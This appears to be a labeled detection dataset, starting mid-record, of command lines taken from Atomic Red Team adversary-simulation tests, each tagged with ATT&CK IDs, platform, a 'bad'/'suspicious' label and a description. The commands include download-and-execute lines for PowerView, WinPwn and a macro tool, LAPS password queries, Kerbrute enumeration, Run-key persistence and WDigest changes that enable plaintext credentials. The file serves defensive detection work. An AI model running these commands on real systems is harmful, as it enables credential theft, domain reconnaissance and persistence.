More Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce
Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
81d85b07631f09ee8a417585,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose,[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Get-DomainUser with PowerView,T1087.002,"[""T1087.002""]",windows,0.9,False,"Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5f65faec9e857015acdc5ac6,"([adsisearcher]""objectcategory=user"").FindAll(); ([adsisearcher]""objectcategory=user"").FindOne()","([adsisearcher]""objectcategory=user"").FindAll(); ([adsisearcher]""objectcategory=user"").FindOne()",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Enumerate Active Directory Users with ADSISearcher,T1087.002,"[""T1087.002""]",windows,0.9,False,"The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
648a2c907b7933d5bbc8db8b,"(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]""$_"").gPlink){Write-Host ""[+] OU Path:""([ADSI]""$_"").Path;$a=((([ADSI]""$_"").gplink) -replace ""[[;]"" -split ""]"");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host ""Policy Path[$i]:""([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host ""Policy Name[$i]:""([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output ""`n"" }}","(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]""$_"").gPlink){Write-Host ""[+] OU Path:""([ADSI]""$_"").Path;$a=((([ADSI]""$_"").gplink) -replace ""[[;]"" -split ""]"");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host ""Policy Path[$i]:""([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host ""Policy Name[$i]:""([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output ""`n"" }}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Enumerate Linked Policies In ADSISearcher Discovery,T1087.002,"[""T1087.002""]",windows,0.9,False,"The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8cfa4db852a677645c6b97a4,"(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]""$_"").gPlink){Write-Host ""[+] Domain Path:""([ADSI]""$_"").Path;$a=((([ADSI]""$_"").gplink) -replace ""[[;]"" -split ""]"");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host ""Policy Path[$i]:""([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host ""Policy Name[$i]:""([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output ""`n"" }}","(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]""$_"").gPlink){Write-Host ""[+] Domain Path:""([ADSI]""$_"").Path;$a=((([ADSI]""$_"").gplink) -replace ""[[;]"" -split ""]"");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host ""Policy Path[$i]:""([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host ""Policy Name[$i]:""([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output ""`n"" }}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Enumerate Root Domain linked policies Discovery,T1087.002,"[""T1087.002""]",windows,0.9,False,"The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4bee90a597e3bf27eac0bf41,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') generaldomaininfo -noninteractive -consoleoutput,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') generaldomaininfo -noninteractive -consoleoutput,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,WinPwn - generaldomaininfo,T1087.002,"[""T1087.002""]",windows,0.9,False,Gathers general domain information using the generaldomaininfo function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
400a9015a8a9d20206fe87b3,"cd ""PathToAtomicsFolder\..\ExternalPayloads"" .\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} ""PathToAtomicsFolder\..\ExternalPayloads\username.txt""","cd ""PathToAtomicsFolder\..\ExternalPayloads"" .\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} ""PathToAtomicsFolder\..\ExternalPayloads\username.txt""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Kerbrute - userenum,T1087.002,"[""T1087.002""]",windows,0.9,False,Enumerates active directory usernames using the userenum function of Kerbrute,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
442a913d516901f7902d752b,"$target = $env:LOGONSERVER $target = $target.Trim(""\\"") $IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\""Event[System[(EventID=4776)]]""'","$target = $env:LOGONSERVER $target = $target.Trim(""\\"") $IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\""Event[System[(EventID=4776)]]""'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Wevtutil - Discover NTLM Users Remote,T1087.002,"[""T1087.002""]",windows,0.9,False,"This test discovers users who have authenticated against a Domain Controller via NTLM. 
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
772b11eb06ac33cbf117430f,Remove-Item -Path \\$IpAddress\c$\ntlmusers.evtx,Remove-Item -Path \\$IpAddress\c$\ntlmusers.evtx,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Wevtutil - Discover NTLM Users Remote,T1087.002,"[""T1087.002""]",windows,0.55,True,"This test discovers users who have authenticated against a Domain Controller via NTLM. 
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8518e2eee0bb4d13c25044c0,Get-ADComputer #{hostname} -Properties *,Get-ADComputer #{hostname} -Properties *,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Suspicious LAPS Attributes Query with Get-ADComputer all properties,T1087.002,"[""T1087.002""]",windows,0.9,False,This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fdfc894a9845c0200aa3fba4,"Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime","Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property,T1087.002,"[""T1087.002""]",windows,0.9,False,This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4165f99952cbe67aa213079e,"Get-adcomputer -SearchScope subtree -filter ""name -like '*'"" -Properties *","Get-adcomputer -SearchScope subtree -filter ""name -like '*'"" -Properties *",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope,T1087.002,"[""T1087.002""]",windows,0.9,False,This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a53f10294b846853fea06d44,"& ""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -h #{domain} -s subtree -f ""objectclass=computer"" *","& ""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -h #{domain} -s subtree -f ""objectclass=computer"" *",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Suspicious LAPS Attributes Query with adfind all properties,T1087.002,"[""T1087.002""]",windows,0.9,False,This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
202aa66e4de68d3016867f72,"& ""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -h #{domain} -s subtree -f ""objectclass=computer"" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime","& ""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" #{optional_args} -h #{domain} -s subtree -f ""objectclass=computer"" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd,T1087.002,"[""T1087.002""]",windows,0.9,False,This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
73815a1a1b7178952bf62f45,"ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b ""CN=Users,DC=#{domain},DC=#{top_level_domain}"" -s sub -a always -z 1000 dn","ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b ""CN=Users,DC=#{domain},DC=#{top_level_domain}"" -s sub -a always -z 1000 dn",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Active Directory Domain Search,T1087.002,"[""T1087.002""]",linux,0.9,False,"Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0fcd37fff9b5c516bd2767e3,ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087,ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Account Enumeration with LDAPDomainDump,T1087.002,"[""T1087.002""]",linux,0.9,False,"This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
39a956dffe5d0e12c8f1d523,rm -rf /tmp/T1087/ 2>/dev/null,rm -rf /tmp/T1087/ 2>/dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1087.002/T1087.002.yaml,Account Enumeration with LDAPDomainDump,T1087.002,"[""T1087.002""]",linux,0.55,True,"This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
42408467d87ba690eeee05da,"aws iam create-access-key --user-name #{username} > ""$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"" cd ""$PathToAtomicsFolder/T1098.001/bin/"" ./aws_secret.sh","aws iam create-access-key --user-name #{username} > ""$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"" cd ""$PathToAtomicsFolder/T1098.001/bin/"" ./aws_secret.sh",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.001/T1098.001.yaml,AWS - Create Access Key and Secret Key,T1098.001,"[""T1098.001""]",iaas:aws,0.9,False,"Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a964e8f64eb4fc92f0c58c9,"access_key=`cat ""$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"" | jq -r '.AccessKey.AccessKeyId'` aws iam delete-access-key --access-key-id $access_key --user-name #{username} rm ""$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds""","access_key=`cat ""$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"" | jq -r '.AccessKey.AccessKeyId'` aws iam delete-access-key --access-key-id $access_key --user-name #{username} rm ""$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.001/T1098.001.yaml,AWS - Create Access Key and Secret Key,T1098.001,"[""T1098.001""]",iaas:aws,0.55,True,"Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ff3d4d2c870cbcf6659ec4c,Start-Process #{powershell_command},Start-Process #{powershell_command},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.003/T1564.003.yaml,Hidden Window,T1564.003,"[""T1564.003""]",windows,0.9,False,"Launch PowerShell with the ""-WindowStyle Hidden"" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
Upon execution a hidden PowerShell window will launch calc.exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6fc7ad8ee5555e059d7bdcb7,"start """" #{browser} --headless --disable-gpu https://mockbin.org/bin/#{bin_id}","start """" #{browser} --headless --disable-gpu https://mockbin.org/bin/#{bin_id}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.003/T1564.003.yaml,Headless Browser Accessing Mockbin,T1564.003,"[""T1564.003""]",windows,0.9,False,"The following Atomic Red Team test leverages the Chrome headless browser to access a mockbin site. Create your own Mockbin.org site and replace the BIN in the inputs.
The default Mockbin ID forwards to google.com and you may view the details here https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec/view.
Reference: https://cert.gov.ua/article/5702579
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
411987d5b8ee75dcb124866d,taskkill /im #{browser} /f,taskkill /im #{browser} /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.003/T1564.003.yaml,Headless Browser Accessing Mockbin,T1564.003,"[""T1564.003""]",windows,0.55,True,"The following Atomic Red Team test leverages the Chrome headless browser to access a mockbin site. Create your own Mockbin.org site and replace the BIN in the inputs.
The default Mockbin ID forwards to google.com and you may view the details here https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec/view.
Reference: https://cert.gov.ua/article/5702579
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f26ef4bc9f91b5f06730e1b,conhost.exe --headless calc.exe,conhost.exe --headless calc.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.003/T1564.003.yaml,Hidden Window-Conhost Execution,T1564.003,"[""T1564.003""]",windows,0.9,False,"Launch conhost.exe in ""headless"" mode, it means that no visible window will pop up on the victim's machine. 
This could be a sign of ""conhost"" usage as a LOLBIN or potential process injection activity.
conhost.exe can be used as proxy the execution of arbitrary commands
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b8f2ce58d6f655e9b269c75c,Stop-Process -Name calc*,Stop-Process -Name calc*,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.003/T1564.003.yaml,Hidden Window-Conhost Execution,T1564.003,"[""T1564.003""]",windows,0.55,True,"Launch conhost.exe in ""headless"" mode, it means that no visible window will pop up on the victim's machine. 
This could be a sign of ""conhost"" usage as a LOLBIN or potential process injection activity.
conhost.exe can be used as proxy the execution of arbitrary commands
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56ba98c064c96f4d1e5c1b24,"dir | clip echo ""T1115"" > %temp%\T1115.txt clip < %temp%\T1115.txt","dir | clip echo ""T1115"" > %temp%\T1115.txt clip < %temp%\T1115.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1115/T1115.yaml,Utilize Clipboard to store or execute commands from,T1115,"[""T1115""]",windows,0.9,False,"Add data to clipboard to copy off or execute commands from.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99ee7f4bd2b945f9dcdec3b9,del %temp%\T1115.txt >nul 2>&1,del %temp%\T1115.txt >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1115/T1115.yaml,Utilize Clipboard to store or execute commands from,T1115,"[""T1115""]",windows,0.55,True,"Add data to clipboard to copy off or execute commands from.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb23d304ee084ab7651fbd10,echo Get-Process | clip Get-Clipboard | iex,echo Get-Process | clip Get-Clipboard | iex,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1115/T1115.yaml,Execute Commands from Clipboard using PowerShell,T1115,"[""T1115""]",windows,0.9,False,"Utilize PowerShell to echo a command to clipboard and execute it
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2020e1b2cf0a4cc5d4ef7d41,echo ifconfig | pbcopy $(pbpaste),echo ifconfig | pbcopy $(pbpaste),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1115/T1115.yaml,Execute commands from clipboard,T1115,"[""T1115""]",macos,0.9,False,Echo a command to clipboard and execute it,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7634cafe27615e5f4898b464,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Set-Clipboard -value ""Atomic T1115 Test, grab data from clipboard via VBA"" IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1115\src\T1115-macrocode.txt"" -officeProduct ""Word"" -sub ""GetClipboard""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Set-Clipboard -value ""Atomic T1115 Test, grab data from clipboard via VBA"" IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1115\src\T1115-macrocode.txt"" -officeProduct ""Word"" -sub ""GetClipboard""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1115/T1115.yaml,Collect Clipboard Data via VBA,T1115,"[""T1115""]",windows,0.9,False,"This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b271d84ea0e50350198b0a9e,"Remove-Item ""$env:TEMP\atomic_T1115_clipboard_data.txt"" -ErrorAction Ignore","Remove-Item ""$env:TEMP\atomic_T1115_clipboard_data.txt"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1115/T1115.yaml,Collect Clipboard Data via VBA,T1115,"[""T1115""]",windows,0.55,True,"This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
158ff707ffa025270819c4d5,apt install xclip -y history | tail -n 30 | xclip -sel clip xclip -o > history.txt,apt install xclip -y history | tail -n 30 | xclip -sel clip xclip -o > history.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1115/T1115.yaml,Add or copy content to clipboard with xClip,T1115,"[""T1115""]",linux,0.9,False,"Utilize Linux Xclip to copy history and place in clipboard then output to a history.txt file. Successful execution will capture history and output to a file on disk.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d11a9705873d500d31c6a399,reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f,reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify Registry of Current User Profile - cmd,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message ""The operation completed successfully.""
will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7d981fa368886c2edf1cee3d,reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f >nul 2>&1,reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify Registry of Current User Profile - cmd,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message ""The operation completed successfully.""
will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a23eb97e5c44412e269001c2,reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f,reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify Registry of Local Machine - cmd,T1112,"[""T1112""]",windows,0.9,False,"Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup.  This should only be possible when
CMD is ran as Administrative rights. Upon execution, the message ""The operation completed successfully.""
will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
336cd1477fdb2585701602c9,reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f >nul 2>&1,reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify Registry of Local Machine - cmd,T1112,"[""T1112""]",windows,0.55,True,"Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup.  This should only be possible when
CMD is ran as Administrative rights. Upon execution, the message ""The operation completed successfully.""
will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2cffd865db257b10c39efd7a,reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f,reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify registry to store logon credentials,T1112,"[""T1112""]",windows,0.9,False,"Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Upon execution, the message ""The operation completed successfully."" will be displayed.
Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82b3505a4a4afa692d81aece,reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1,reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Modify registry to store logon credentials,T1112,"[""T1112""]",windows,0.55,True,"Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Upon execution, the message ""The operation completed successfully."" will be displayed.
Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c11f19294c23381b524d9c97,Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1' -ErrorAction Ignore,Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1' -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Use Powershell to Modify registry to store logon credentials,T1112,"[""T1112""]",windows,0.9,False,"Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
48f2ff0b0bff85cc0cf7bdee,Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '0' -ErrorAction Ignore,Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '0' -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Use Powershell to Modify registry to store logon credentials,T1112,"[""T1112""]",windows,0.55,True,"Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
